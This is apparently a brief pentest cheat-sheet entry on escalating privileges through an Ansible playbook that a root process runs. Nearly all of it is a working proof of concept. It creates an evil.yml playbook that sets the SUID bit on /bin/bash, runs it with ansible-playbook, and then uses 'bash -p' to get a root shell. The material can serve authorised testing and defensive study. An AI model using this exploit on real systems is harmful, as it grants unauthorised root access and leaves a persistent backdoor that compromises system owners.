Ansible

If an ansible file is loaded by a root process : Privilege Escalation

PoC

# Create a .yml file just like the other one
nano evil.yml
# Content :
- hosts: localhost
  tasks:
    - name: RShell
      command: chmod u+s /bin/bash
      become: true

# ---
# save the file CTRL+O CTRL+X
# ---

ls -lah /bin/bash
ansible-playbook evil.yml
bash -p
# root